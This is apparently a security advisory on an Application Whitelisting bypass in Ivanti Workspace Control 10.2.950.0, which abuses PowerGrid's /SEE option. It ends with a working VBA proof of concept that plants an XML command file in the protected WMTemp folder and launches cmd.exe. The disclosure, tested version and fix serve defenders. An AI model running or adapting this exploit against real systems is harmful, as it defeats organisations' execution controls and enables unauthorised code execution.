Abstract
It was found that the PowerGrid application can be used to run arbitrary commands via the /SEE command line option. An attacker can abuse this issue to bypass Application Whitelisting in order to run arbitrary code on the target machine.
See also
CVE-2018-15591 DOC-69684 - A locally authenticated user with low privileges can bypass Application Whitelisting by leveraging multiple unspecified attack vectors DOC-69682 - Ivanti Workspace Control Files and Folders Security has been improved
Tested versions
This issue was successfully verified on Ivanti Workspace Control version 10.2.950.0.
Fix
This issue is mitigated in Ivanti Workspace Control version 10.3.0.0. The fix included in this version prevents the creation of XML files within the WMTemp folder, effectively preventing this issue from being exploited.
Introduction
Ivanti Workspace Control (formerly known as RES ONE Workspace) is a User Environment Management solution. It contains a number of security features, one of which being Application Whitelisting. Application Whitelisting can be used to only allow approved applications to execute. Whitelisting can be configured in various ways; in Workspace Control a common used method is to whitelist based on path. As of Workspace Control version 10.1 it also is possible to whitelist based on signing certificate.
By design a number of Workspace Control executables are exempted from Application Whitelisting. One of these applications is the PowerGrid application (pwrgrid.exe). It was found that it is possible to use PowerGrid to run any arbitrary application by using the /SEE command line argument. In order to do so the attacker needs to abuse another vulnerability in Workspace Control. When successfully exploit it allows the attacker to bypass Application Whitelisting.
Details
Workspace Control creates a temporary folder WMTemp under the logged on user's AppData folder. This folder is protected by the FileGuard Minifilter driver, meaning that the logged on user is not allowed to create or modify files within this folder. Some Workspace Control applications will create XML files in this folder, which is allowed by FileGuard. These XML files contain commands that need to be started by PowerGrid. After the XML file is created, PowerGrid is invoked with the /SEE command line argument, and the file name of the XML file that needs to be processed. PowerGrid will load the file from the WMTemp folder, and run the command as is configured in the XML file.
Normally, FileGuard will prevent the execution of arbitrary commands, because the user can't create any new files within the WMTemp folder. By abusing another vulnerability in Workspace Control it is possible to bypass FileGuard to create XML files within the WMTemp file. By doing so it is possible for an attacker to bypass Application Whitelisting in order to run arbitrary commands.
Proof of concept
The VBA code below demonstrates this issue. The code tries to run cmd.exe using the /SEE command line argument.
Private Declare PtrSafe Function GetCurrentProcessId Lib "kernel32.dll" () As Integer
Private Declare PtrSafe Function ProcessIdToSessionId Lib "kernel32.dll" (ByVal dwProcessId As Integer, ByRef pSessionId As Integer) As Integer
Private Sub PowerGridAWLBypass()
On Error Resume Next
Dim SessionID As Integer
Dim appDataPath, resPath
If ProcessIdToSessionId(GetCurrentProcessId, SessionID) = 0 Then
SessionID = 1
End If
appDataPath = Replace(UCase(Environ("LOCALAPPDATA")), "C:", "\\localhost\C$")
resPath = Environ("RESPFDIR")
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile(appDataPath & "\RES\WM\" & SessionID & "\WMTemp\foo.xml")
oFile.WriteLine "<foo><file>cmd.exe</file><showcmd>5</showcmd></foo>"
oFile.Close
Set fso = Nothing
Set oFile = Nothing
Shell resPath & "\pwrgrid.exe /SEE foo.xml", vbNormalFocus
End Sub